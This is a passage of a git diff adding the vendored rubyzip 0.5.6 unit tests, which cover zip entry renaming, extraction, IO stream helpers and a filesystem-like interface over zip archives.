|e| e.name }.include? entryToRename) + + newName = "changed name" + assert(! zf.entries.map { |e| e.name }.include?(newName)) + + zf.rename(entryToRename, newName) + assert(zf.entries.map { |e| e.name }.include? newName) + + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zipName) + assert(zfRead.entries.map { |e| e.name }.include? newName) + zfRead.close + end + + def test_renameToExistingEntry + oldEntries = nil + ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } + + assert_exception(ZipEntryExistsError) { + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) + } + } + + ZipFile.open(TEST_ZIP.zipName) { + |zf| + assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) + } + end + + def test_renameToExistingEntryOverwrite + oldEntries = nil + ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } + + gotCalled = false + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } + } + + assert(gotCalled) + oldEntries.delete_at(0) + ZipFile.open(TEST_ZIP.zipName) { + |zf| + assert_equals(oldEntries.map{ |e| e.name }, + zf.entries.map{ |e| e.name }) + } + end + + def test_renameNonEntry + nonEntry = "bogusEntry" + targetEntry = "targetEntryName" + zf = ZipFile.new(TEST_ZIP.zipName) + assert(! zf.entries.include?(nonEntry)) + assert_exception(ZipNoSuchEntryError) { + zf.rename(nonEntry, targetEntry) + } + zf.commit + assert(! zf.entries.include?(targetEntry)) + ensure + zf.close + end + + def test_renameEntryToExistingEntry + entry1, entry2, *remaining = TEST_ZIP.entryNames + zf = ZipFile.new(TEST_ZIP.zipName) + assert_exception(ZipEntryExistsError) { + zf.rename(entry1, entry2) + } + ensure + zf.close + end + + def test_replace + unchangedEntries = TEST_ZIP.entryNames.dup + entryToReplace = unchangedEntries.delete_at(2) + newEntrySrcFilename = "ziptest.rb" + + zf = ZipFile.new(TEST_ZIP.zipName) + zf.replace(entryToReplace, newEntrySrcFilename) + + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zipName) + AssertEntry::assertContents(newEntrySrcFilename, + zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.close + end + + def test_replaceNonEntry + entryToReplace = "nonExistingEntryname" + ZipFile.open(TEST_ZIP.zipName) { + |zf| + assert_exception(ZipNoSuchEntryError) { + zf.replace(entryToReplace, "ziptest.rb") + } + } + end + + def test_commit + newName = "renamedFirst" + zf = ZipFile.new(TEST_ZIP.zipName) + oldName = zf.entries.first + zf.rename(oldName, newName) + zf.commit + + zfRead = ZipFile.new(TEST_ZIP.zipName) + assert(zfRead.entries.detect { |e| e.name == newName } != nil) + assert(zfRead.entries.detect { |e| e.name == oldName } == nil) + zfRead.close + + zf.close + end + + # This test tests that after commit, you + # can delete the file you used to add the entry to the zip file + # with + def test_commitUseZipEntry + File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") + zf = ZipFile.open(TEST_ZIP.zipName) + zf.add("okToDelete.txt", "okToDelete.txt") + assertContains(zf, "okToDelete.txt") + zf.commit + File.move("okToDelete.txt", "okToDeleteMoved.txt") + assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") + end + +# def test_close +# zf = ZipFile.new(TEST_ZIP.zipName) +# zf.close +# assert_exception(IOError) { +# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") +# } +# end + + def test_compound1 + renamedName = "renamedName" + originalEntries = [] + begin + zf = ZipFile.new(TEST_ZIP.zipName) + originalEntries = zf.entries.dup + + assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) + zf.add(TestFiles::RANDOM_ASCII_FILE1, + TestFiles::RANDOM_ASCII_FILE1) + assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) + + zf.rename(zf.entries[0], renamedName) + assertContains(zf, renamedName) + + TestFiles::BINARY_TEST_FILES.each { + |filename| + zf.add(filename, filename) + assertContains(zf, filename) + } + + assertContains(zf, originalEntries.last.to_s) + zf.remove(originalEntries.last.to_s) + assertNotContains(zf, originalEntries.last.to_s) + + ensure + zf.close + end + begin + zfRead = ZipFile.new(TEST_ZIP.zipName) + assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) + assertContains(zfRead, renamedName) + TestFiles::BINARY_TEST_FILES.each { + |filename| + assertContains(zfRead, filename) + } + assertNotContains(zfRead, originalEntries.last.to_s) + ensure + zfRead.close + end + end + + def test_compound2 + begin + zf = ZipFile.new(TEST_ZIP.zipName) + originalEntries = zf.entries.dup + + originalEntries.each { + |entry| + zf.remove(entry) + assertNotContains(zf, entry) + } + assert(zf.entries.empty?) + + TestFiles::ASCII_TEST_FILES.each { + |filename| + zf.add(filename, filename) + assertContains(zf, filename) + } + assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) + + zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") + assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) + assertContains(zf, "newName") + ensure + zf.close + end + begin + zfRead = ZipFile.new(TEST_ZIP.zipName) + asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup + asciiTestFiles.shift + asciiTestFiles.each { + |filename| + assertContains(zf, filename) + } + + assertContains(zf, "newName") + ensure + zfRead.close + end + end + + private + def assertContains(zf, entryName, filename = entryName) + assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") + assertEntryContents(zf, entryName, filename) if File.exists?(filename) + end + + def assertNotContains(zf, entryName) + assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") + end +end + +class ZipFileExtractTest < CommonZipFileFixture + EXTRACTED_FILENAME = "extEntry" + ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse + + def setup + super + File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) + end + + def test_extract + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) + + assert(File.exists? EXTRACTED_FILENAME) + AssertEntry::assertContents(EXTRACTED_FILENAME, + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + } + end + + def test_extractExists + writtenText = "written text" + File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } + + assert_exception(ZipDestinationFileExistsError) { + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) + } + } + File.open(EXTRACTED_FILENAME, "r") { + |f| + assert_equals(writtenText, f.read) + } + end + + def test_extractExistsOverwrite + writtenText = "written text" + File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } + + gotCalled = false + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } + } + + assert(gotCalled) + File.open(EXTRACTED_FILENAME, "r") { + |f| + assert(writtenText != f.read) + } + end + + def test_extractNonEntry + zf = ZipFile.new(TEST_ZIP.zipName) + assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } + ensure + zf.close if zf + end + + def test_extractNonEntry2 + outFile = "outfile" + assert_exception(ZipNoSuchEntryError) { + zf = ZipFile.new(TEST_ZIP.zipName) + nonEntry = "hotdog-diddelidoo" + assert(! zf.entries.include?(nonEntry)) + zf.extract(nonEntry, outFile) + zf.close + } + assert(! File.exists?(outFile)) + end + +end + +class ZipFileExtractDirectoryTest < CommonZipFileFixture + TEST_OUT_NAME = "emptyOutDir" + + def openZip(&aProc) + assert(aProc != nil) + ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) + end + + def extractTestDir(&aProc) + openZip { + |zf| + zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) + } + end + + def setup + super + + Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME + File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME + end + + def test_extractDirectory + extractTestDir + assert(File.directory? TEST_OUT_NAME) + end + + def test_extractDirectoryExistsAsDir + Dir.mkdir TEST_OUT_NAME + extractTestDir + assert(File.directory? TEST_OUT_NAME) + end + + def test_extractDirectoryExistsAsFile + File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } + assert_exception(ZipDestinationFileExistsError) { extractTestDir } + end + + def test_extractDirectoryExistsAsFileOverwrite + File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } + gotCalled = false + extractTestDir { + |entry, destPath| + gotCalled = true + assert_equals(TEST_OUT_NAME, destPath) + assert(entry.isDirectory) + true + } + assert(gotCalled) + assert(File.directory? TEST_OUT_NAME) + end +end + + +TestFiles::createTestFiles(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) +TestZipFile::createTestZips(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) +exit if ARGV.index("recreateonly") != nil + +#require 'runit/cui/testrunner' +#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) + +# Copyright (C) 2002 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/test/ioextrastest.rb b/vendor/rubyzip-0.5.6/test/ioextrastest.rb new file mode 100755 index 00000000..673e3029 --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/ioextrastest.rb @@ -0,0 +1,208 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +$: << ".." + +require 'rubyunit' +require 'zip/ioextras' + +include IOExtras + +class FakeIOTest < RUNIT::TestCase + class FakeIOUsingClass + include FakeIO + end + + def test_kind_of? + obj = FakeIOUsingClass.new + + assert(obj.kind_of?(Object)) + assert(obj.kind_of?(FakeIOUsingClass)) + assert(obj.kind_of?(IO)) + assert(!obj.kind_of?(Fixnum)) + assert(!obj.kind_of?(String)) + end +end + +class AbstractInputStreamTest < RUNIT::TestCase + # AbstractInputStream subclass that provides a read method + + TEST_LINES = [ "Hello world#{$/}", + "this is the second line#{$/}", + "this is the last line"] + TEST_STRING = TEST_LINES.join + class TestAbstractInputStream + include AbstractInputStream + def initialize(aString) + super() + @contents = aString + @readPointer = 0 + end + + def read(charsToRead) + retVal=@contents[@readPointer, charsToRead] + @readPointer+=charsToRead + return retVal + end + + def produce_input + read(100) + end + + def input_finished? + @contents[@readPointer] == nil + end + end + + def setup + @io = TestAbstractInputStream.new(TEST_STRING) + end + + def test_gets + assert_equals(TEST_LINES[0], @io.gets) + assert_equals(1, @io.lineno) + assert_equals(TEST_LINES[1], @io.gets) + assert_equals(2, @io.lineno) + assert_equals(TEST_LINES[2], @io.gets) + assert_equals(3, @io.lineno) + assert_equals(nil, @io.gets) + assert_equals(4, @io.lineno) + end + + def test_getsMultiCharSeperator + assert_equals("Hell", @io.gets("ll")) + assert_equals("o world#{$/}this is the second l", @io.gets("d l")) + end + + def test_each_line + lineNumber=0 + @io.each_line { + |line| + assert_equals(TEST_LINES[lineNumber], line) + lineNumber+=1 + } + end + + def test_readlines + assert_equals(TEST_LINES, @io.readlines) + end + + def test_readline + test_gets + begin + @io.readline + fail "EOFError expected" + rescue EOFError + end + end +end + +class AbstractOutputStreamTest < RUNIT::TestCase + class TestOutputStream + include AbstractOutputStream + + attr_accessor :buffer + + def initialize + @buffer = "" + end + + def << (data) + @buffer << data + self + end + end + + def setup + @outputStream = TestOutputStream.new + + @origCommaSep = $, + @origOutputSep = $\ + end + + def teardown + $, = @origCommaSep + $\ = @origOutputSep + end + + def test_write + count = @outputStream.write("a little string") + assert_equals("a little string", @outputStream.buffer) + assert_equals("a little string".length, count) + + count = @outputStream.write(". a little more") + assert_equals("a little string. a little more", @outputStream.buffer) + assert_equals(". a little more".length, count) + end + + def test_print + $\ = nil # record separator set to nil + @outputStream.print("hello") + assert_equals("hello", @outputStream.buffer) + + @outputStream.print(" world.") + assert_equals("hello world.", @outputStream.buffer) + + @outputStream.print(" You ok ", "out ", "there?") + assert_equals("hello world. You ok out there?", @outputStream.buffer) + + $\ = "\n" + @outputStream.print + assert_equals("hello world. You ok out there?\n", @outputStream.buffer) + + @outputStream.print("I sure hope so!") + assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) + + $, = "X" + @outputStream.buffer = "" + @outputStream.print("monkey", "duck", "zebra") + assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) + + $\ = nil + @outputStream.buffer = "" + @outputStream.print(20) + assert_equals("20", @outputStream.buffer) + end + + def test_printf + @outputStream.printf("%d %04x", 123, 123) + assert_equals("123 007b", @outputStream.buffer) + end + + def test_putc + @outputStream.putc("A") + assert_equals("A", @outputStream.buffer) + @outputStream.putc(65) + assert_equals("AA", @outputStream.buffer) + end + + def test_puts + @outputStream.puts + assert_equals("\n", @outputStream.buffer) + + @outputStream.puts("hello", "world") + assert_equals("\nhello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts("hello\n", "world\n") + assert_equals("hello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(["hello\n", "world\n"]) + assert_equals("hello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(["hello\n", "world\n"], "bingo") + assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(16, 20, 50, "hello") + assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) + end +end + + +# Copyright (C) 2002-2004 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/test/notzippedruby.rb b/vendor/rubyzip-0.5.6/test/notzippedruby.rb new file mode 100755 index 00000000..036d25e9 --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/notzippedruby.rb @@ -0,0 +1,7 @@ +#!/usr/bin/env ruby + +class NotZippedRuby + def returnTrue + true + end +end diff --git a/vendor/rubyzip-0.5.6/test/rubycode.zip b/vendor/rubyzip-0.5.6/test/rubycode.zip new file mode 100755 index 00000000..8a68560e Binary files /dev/null and b/vendor/rubyzip-0.5.6/test/rubycode.zip differ diff --git a/vendor/rubyzip-0.5.6/test/rubycode2.zip b/vendor/rubyzip-0.5.6/test/rubycode2.zip new file mode 100755 index 00000000..8e1cd08f Binary files /dev/null and b/vendor/rubyzip-0.5.6/test/rubycode2.zip differ diff --git a/vendor/rubyzip-0.5.6/test/stdrubyexttest.rb b/vendor/rubyzip-0.5.6/test/stdrubyexttest.rb new file mode 100755 index 00000000..f2c63e66 --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/stdrubyexttest.rb @@ -0,0 +1,52 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +$: << ".." + +require 'rubyunit' +require 'zip/stdrubyext' + +class ModuleTest < RUNIT::TestCase + + def test_select_map + assert_equals([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e }) + end + +end + +class StringExtensionsTest < RUNIT::TestCase + + def test_starts_with + assert("hello".starts_with("")) + assert("hello".starts_with("h")) + assert("hello".starts_with("he")) + assert(! "hello".starts_with("hello there")) + assert(! "hello".starts_with(" he")) + + assert_exception(TypeError, "type mismatch: NilClass given") { + "hello".starts_with(nil) + } + end + + def test_ends_with + assert("hello".ends_with("o")) + assert("hello".ends_with("lo")) + assert("hello".ends_with("hello")) + assert(!"howdy".ends_with("o")) + assert(!"howdy".ends_with("oy")) + assert(!"howdy".ends_with("howdy doody")) + assert(!"howdy".ends_with("doody howdy")) + end + + def test_ensure_end + assert_equals("hello!", "hello!".ensure_end("!")) + assert_equals("hello!", "hello!".ensure_end("o!")) + assert_equals("hello!", "hello".ensure_end("!")) + assert_equals("hello!", "hel".ensure_end("lo!")) + end +end + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/test/testDirectory.bin b/vendor/rubyzip-0.5.6/test/testDirectory.bin new file mode 100755 index 00000000..cbdb9f7d Binary files /dev/null and b/vendor/rubyzip-0.5.6/test/testDirectory.bin differ diff --git a/vendor/rubyzip-0.5.6/test/zipWithDirs.zip b/vendor/rubyzip-0.5.6/test/zipWithDirs.zip new file mode 100755 index 00000000..4b01f011 Binary files /dev/null and b/vendor/rubyzip-0.5.6/test/zipWithDirs.zip differ diff --git a/vendor/rubyzip-0.5.6/test/zipfilesystemtest.rb b/vendor/rubyzip-0.5.6/test/zipfilesystemtest.rb new file mode 100755 index 00000000..c1aa91ba --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/zipfilesystemtest.rb @@ -0,0 +1,829 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +$: << ".." + +require 'zip/zipfilesystem' +require 'rubyunit' + +module ExtraAssertions + + def assert_forwarded(anObject, method, retVal, *expectedArgs) + callArgs = nil + setCallArgsProc = proc { |args| callArgs = args } + anObject.instance_eval <<-"end_eval" + alias #{method}_org #{method} + def #{method}(*args) + ObjectSpace._id2ref(#{setCallArgsProc.object_id}).call(args) + ObjectSpace._id2ref(#{retVal.object_id}) + end + end_eval + + assert_equals(retVal, yield) # Invoke test + assert_equals(expectedArgs, callArgs) + ensure + anObject.instance_eval "alias #{method} #{method}_org" + end + +end + +include Zip + +class ZipFsFileNonmutatingTest < RUNIT::TestCase + def setup + @zipFile = ZipFile.new("zipWithDirs.zip") + end + + def teardown + @zipFile.close if @zipFile + end + + def test_umask + assert_equals(File.umask, @zipFile.file.umask) + @zipFile.file.umask(0006) + end + + def test_exists? + assert(! @zipFile.file.exists?("notAFile")) + assert(@zipFile.file.exists?("file1")) + assert(@zipFile.file.exists?("dir1")) + assert(@zipFile.file.exists?("dir1/")) + assert(@zipFile.file.exists?("dir1/file12")) + assert(@zipFile.file.exist?("dir1/file12")) # notice, tests exist? alias of exists? ! + + @zipFile.dir.chdir "dir1/" + assert(!@zipFile.file.exists?("file1")) + assert(@zipFile.file.exists?("file12")) + end + + def test_open_read + blockCalled = false + @zipFile.file.open("file1", "r") { + |f| + blockCalled = true + assert_equals("this is the entry 'file1' in my test archive!", + f.readline.chomp) + } + assert(blockCalled) + + blockCalled = false + @zipFile.dir.chdir "dir2" + @zipFile.file.open("file21", "r") { + |f| + blockCalled = true + assert_equals("this is the entry 'dir2/file21' in my test archive!", + f.readline.chomp) + } + assert(blockCalled) + @zipFile.dir.chdir "/" + + assert_exception(Errno::ENOENT) { + @zipFile.file.open("noSuchEntry") + } + + begin + is = @zipFile.file.open("file1") + assert_equals("this is the entry 'file1' in my test archive!", + is.readline.chomp) + ensure + is.close if is + end + end + + def test_new + begin + is = @zipFile.file.new("file1") + assert_equals("this is the entry 'file1' in my test archive!", + is.readline.chomp) + ensure + is.close if is + end + begin + is = @zipFile.file.new("file1") { + fail "should not call block" + } + ensure + is.close if is + end + end + + def test_symlink + assert_exception(NotImplementedError) { + @zipFile.file.symlink("file1", "aSymlink") + } + end + + def test_size + assert_exception(Errno::ENOENT) { @zipFile.file.size("notAFile") } + assert_equals(72, @zipFile.file.size("file1")) + assert_equals(0, @zipFile.file.size("dir2/dir21")) + + assert_equals(72, @zipFile.file.stat("file1").size) + assert_equals(0, @zipFile.file.stat("dir2/dir21").size) + end + + def test_size? + assert_equals(nil, @zipFile.file.size?("notAFile")) + assert_equals(72, @zipFile.file.size?("file1")) + assert_equals(nil, @zipFile.file.size?("dir2/dir21")) + + assert_equals(72, @zipFile.file.stat("file1").size?) + assert_equals(nil, @zipFile.file.stat("dir2/dir21").size?) + end + + + def test_file? + assert(@zipFile.file.file?("file1")) + assert(@zipFile.file.file?("dir2/file21")) + assert(! @zipFile.file.file?("dir1")) + assert(! @zipFile.file.file?("dir1/dir11")) + + assert(@zipFile.file.stat("file1").file?) + assert(@zipFile.file.stat("dir2/file21").file?) + assert(! @zipFile.file.stat("dir1").file?) + assert(! @zipFile.file.stat("dir1/dir11").file?) + end + + include ExtraAssertions + + def test_dirname + assert_forwarded(File, :dirname, "retVal", "a/b/c/d") { + @zipFile.file.dirname("a/b/c/d") + } + end + + def test_basename + assert_forwarded(File, :basename, "retVal", "a/b/c/d") { + @zipFile.file.basename("a/b/c/d") + } + end + + def test_split + assert_forwarded(File, :split, "retVal", "a/b/c/d") { + @zipFile.file.split("a/b/c/d") + } + end + + def test_join + assert_equals("a/b/c", @zipFile.file.join("a/b", "c")) + assert_equals("a/b/c/d", @zipFile.file.join("a/b", "c/d")) + assert_equals("/c/d", @zipFile.file.join("", "c/d")) + assert_equals("a/b/c/d", @zipFile.file.join("a", "b", "c", "d")) + end + + def test_utime + t_now = Time.now + t_bak = @zipFile.file.mtime("file1") + @zipFile.file.utime(t_now, "file1") + assert_equals(t_now, @zipFile.file.mtime("file1")) + @zipFile.file.utime(t_bak, "file1") + assert_equals(t_bak, @zipFile.file.mtime("file1")) + end + + + def assert_always_false(operation) + assert(! @zipFile.file.send(operation, "noSuchFile")) + assert(! @zipFile.file.send(operation, "file1")) + assert(! @zipFile.file.send(operation, "dir1")) + assert(! @zipFile.file.stat("file1").send(operation)) + assert(! @zipFile.file.stat("dir1").send(operation)) + end + + def assert_true_if_entry_exists(operation) + assert(! @zipFile.file.send(operation, "noSuchFile")) + assert(@zipFile.file.send(operation, "file1")) + assert(@zipFile.file.send(operation, "dir1")) + assert(@zipFile.file.stat("file1").send(operation)) + assert(@zipFile.file.stat("dir1").send(operation)) + end + + def test_pipe? + assert_always_false(:pipe?) + end + + def test_blockdev? + assert_always_false(:blockdev?) + end + + def test_symlink? + assert_always_false(:symlink?) + end + + def test_socket? + assert_always_false(:socket?) + end + + def test_chardev? + assert_always_false(:chardev?) + end + + def test_truncate + assert_exception(StandardError, "truncate not supported") { + @zipFile.file.truncate("file1", 100) + } + end + + def assert_e_n_o_e_n_t(operation, args = ["NoSuchFile"]) + assert_exception(Errno::ENOENT) { + @zipFile.file.send(operation, *args) + } + end + + def test_ftype + assert_e_n_o_e_n_t(:ftype) + assert_equals("file", @zipFile.file.ftype("file1")) + assert_equals("directory", @zipFile.file.ftype("dir1/dir11")) + assert_equals("directory", @zipFile.file.ftype("dir1/dir11/")) + end + + def test_link + assert_exception(NotImplementedError) { + @zipFile.file.link("file1", "someOtherString") + } + end + + def test_directory? + assert(! @zipFile.file.directory?("notAFile")) + assert(! @zipFile.file.directory?("file1")) + assert(! @zipFile.file.directory?("dir1/file11")) + assert(@zipFile.file.directory?("dir1")) + assert(@zipFile.file.directory?("dir1/")) + assert(@zipFile.file.directory?("dir2/dir21")) + + assert(! @zipFile.file.stat("file1").directory?) + assert(! @zipFile.file.stat("dir1/file11").directory?) + assert(@zipFile.file.stat("dir1").directory?) + assert(@zipFile.file.stat("dir1/").directory?) + assert(@zipFile.file.stat("dir2/dir21").directory?) + end + + def test_chown + assert_equals(2, @zipFile.file.chown(1,2, "dir1", "file1")) + assert_equals(1, @zipFile.file.stat("dir1").uid) + assert_equals(2, @zipFile.file.stat("dir1").gid) + assert_equals(2, @zipFile.file.chown(nil, nil, "dir1", "file1")) + end + + def test_zero? + assert(! @zipFile.file.zero?("notAFile")) + assert(! @zipFile.file.zero?("file1")) + assert(@zipFile.file.zero?("dir1")) + blockCalled = false + ZipFile.open("4entry.zip") { + |zf| + blockCalled = true + assert(zf.file.zero?("empty.txt")) + } + assert(blockCalled) + + assert(! @zipFile.file.stat("file1").zero?) + assert(@zipFile.file.stat("dir1").zero?) + blockCalled = false + ZipFile.open("4entry.zip") { + |zf| + blockCalled = true + assert(zf.file.stat("empty.txt").zero?) + } + assert(blockCalled) + end + + def test_expand_path + ZipFile.open("zipWithDirs.zip") { + |zf| + assert_equals("/", zf.file.expand_path(".")) + zf.dir.chdir "dir1" + assert_equals("/dir1", zf.file.expand_path(".")) + assert_equals("/dir1/file12", zf.file.expand_path("file12")) + assert_equals("/", zf.file.expand_path("..")) + assert_equals("/dir2/dir21", zf.file.expand_path("../dir2/dir21")) + } + end + + def test_mtime + assert_equals(Time.at(1027694306), + @zipFile.file.mtime("dir2/file21")) + assert_equals(Time.at(1027690863), + @zipFile.file.mtime("dir2/dir21")) + assert_exception(Errno::ENOENT) { + @zipFile.file.mtime("noSuchEntry") + } + + assert_equals(Time.at(1027694306), + @zipFile.file.stat("dir2/file21").mtime) + assert_equals(Time.at(1027690863), + @zipFile.file.stat("dir2/dir21").mtime) + end + + def test_ctime + assert_nil(@zipFile.file.ctime("file1")) + assert_nil(@zipFile.file.stat("file1").ctime) + end + + def test_atime + assert_nil(@zipFile.file.atime("file1")) + assert_nil(@zipFile.file.stat("file1").atime) + end + + def test_readable? + assert(! @zipFile.file.readable?("noSuchFile")) + assert(@zipFile.file.readable?("file1")) + assert(@zipFile.file.readable?("dir1")) + assert(@zipFile.file.stat("file1").readable?) + assert(@zipFile.file.stat("dir1").readable?) + end + + def test_readable_real? + assert(! @zipFile.file.readable_real?("noSuchFile")) + assert(@zipFile.file.readable_real?("file1")) + assert(@zipFile.file.readable_real?("dir1")) + assert(@zipFile.file.stat("file1").readable_real?) + assert(@zipFile.file.stat("dir1").readable_real?) + end + + def test_writable? + assert(! @zipFile.file.writable?("noSuchFile")) + assert(@zipFile.file.writable?("file1")) + assert(@zipFile.file.writable?("dir1")) + assert(@zipFile.file.stat("file1").writable?) + assert(@zipFile.file.stat("dir1").writable?) + end + + def test_writable_real? + assert(! @zipFile.file.writable_real?("noSuchFile")) + assert(@zipFile.file.writable_real?("file1")) + assert(@zipFile.file.writable_real?("dir1")) + assert(@zipFile.file.stat("file1").writable_real?) + assert(@zipFile.file.stat("dir1").writable_real?) + end + + def test_executable? + assert(! @zipFile.file.executable?("noSuchFile")) + assert(! @zipFile.file.executable?("file1")) + assert(@zipFile.file.executable?("dir1")) + assert(! @zipFile.file.stat("file1").executable?) + assert(@zipFile.file.stat("dir1").executable?) + end + + def test_executable_real? + assert(! @zipFile.file.executable_real?("noSuchFile")) + assert(! @zipFile.file.executable_real?("file1")) + assert(@zipFile.file.executable_real?("dir1")) + assert(! @zipFile.file.stat("file1").executable_real?) + assert(@zipFile.file.stat("dir1").executable_real?) + end + + def test_owned? + assert_true_if_entry_exists(:owned?) + end + + def test_grpowned? + assert_true_if_entry_exists(:grpowned?) + end + + def test_setgid? + assert_always_false(:setgid?) + end + + def test_setuid? + assert_always_false(:setgid?) + end + + def test_sticky? + assert_always_false(:sticky?) + end + + def test_readlink + assert_exception(NotImplementedError) { + @zipFile.file.readlink("someString") + } + end + + def test_stat + s = @zipFile.file.stat("file1") + assert(s.kind_of?(File::Stat)) # It pretends + assert_exception(Errno::ENOENT, "No such file or directory - noSuchFile") { + @zipFile.file.stat("noSuchFile") + } + end + + def test_lstat + assert(@zipFile.file.lstat("file1").file?) + end + + + def test_chmod + assert_exception(Errno::ENOENT, "No such file or directory - noSuchFile") { + @zipFile.file.chmod(0644, "file1", "NoSuchFile") + } + assert_equals(2, @zipFile.file.chmod(0644, "file1", "dir1")) + end + + def test_pipe + assert_exception(NotImplementedError) { + @zipFile.file.pipe + } + end + + def test_foreach + ZipFile.open("zipWithDir.zip") { + |zf| + ref = [] + File.foreach("file1.txt") { |e| ref << e } + + index = 0 + zf.file.foreach("file1.txt") { + |l| + assert_equals(ref[index], l) + index = index.next + } + assert_equals(ref.size, index) + } + + ZipFile.open("zipWithDir.zip") { + |zf| + ref = [] + File.foreach("file1.txt", " ") { |e| ref << e } + + index = 0 + zf.file.foreach("file1.txt", " ") { + |l| + assert_equals(ref[index], l) + index = index.next + } + assert_equals(ref.size, index) + } + end + + def test_popen + assert_equals(File.popen("ls") { |f| f.read }, + @zipFile.file.popen("ls") { |f| f.read }) + end + +# Can be added later +# def test_select +# fail "implement test" +# end + + def test_readlines + ZipFile.open("zipWithDir.zip") { + |zf| + assert_equals(File.readlines("file1.txt"), + zf.file.readlines("file1.txt")) + } + end + + def test_read + ZipFile.open("zipWithDir.zip") { + |zf| + assert_equals(File.read("file1.txt"), + zf.file.read("file1.txt")) + } + end + +end + +class ZipFsFileStatTest < RUNIT::TestCase + + def setup + @zipFile = ZipFile.new("zipWithDirs.zip") + end + + def teardown + @zipFile.close if @zipFile + end + + def test_blocks + assert_equals(nil, @zipFile.file.stat("file1").blocks) + end + + def test_ino + assert_equals(0, @zipFile.file.stat("file1").ino) + end + + def test_uid + assert_equals(0, @zipFile.file.stat("file1").uid) + end + + def test_gid + assert_equals(0, @zipFile.file.stat("file1").gid) + end + + def test_ftype + assert_equals("file", @zipFile.file.stat("file1").ftype) + assert_equals("directory", @zipFile.file.stat("dir1").ftype) + end + + def test_mode + assert_equals(0600, @zipFile.file.stat("file1").mode & 0777) + assert_equals(0600, @zipFile.file.stat("file1").mode & 0777) + assert_equals(0755, @zipFile.file.stat("dir1").mode & 0777) + assert_equals(0755, @zipFile.file.stat("dir1").mode & 0777) + end + + def test_dev + assert_equals(0, @zipFile.file.stat("file1").dev) + end + + def test_rdev + assert_equals(0, @zipFile.file.stat("file1").rdev) + end + + def test_rdev_major + assert_equals(0, @zipFile.file.stat("file1").rdev_major) + end + + def test_rdev_minor + assert_equals(0, @zipFile.file.stat("file1").rdev_minor) + end + + def test_nlink + assert_equals(1, @zipFile.file.stat("file1").nlink) + end + + def test_blksize + assert_nil(@zipFile.file.stat("file1").blksize) + end + +end + +class ZipFsFileMutatingTest < RUNIT::TestCase + TEST_ZIP = "zipWithDirs_copy.zip" + def setup + File.copy("zipWithDirs.zip", TEST_ZIP) + end + + def teardown + end + + def test_delete + do_test_delete_or_unlink(:delete) + end + + def test_unlink + do_test_delete_or_unlink(:unlink) + end + + def test_open_write + 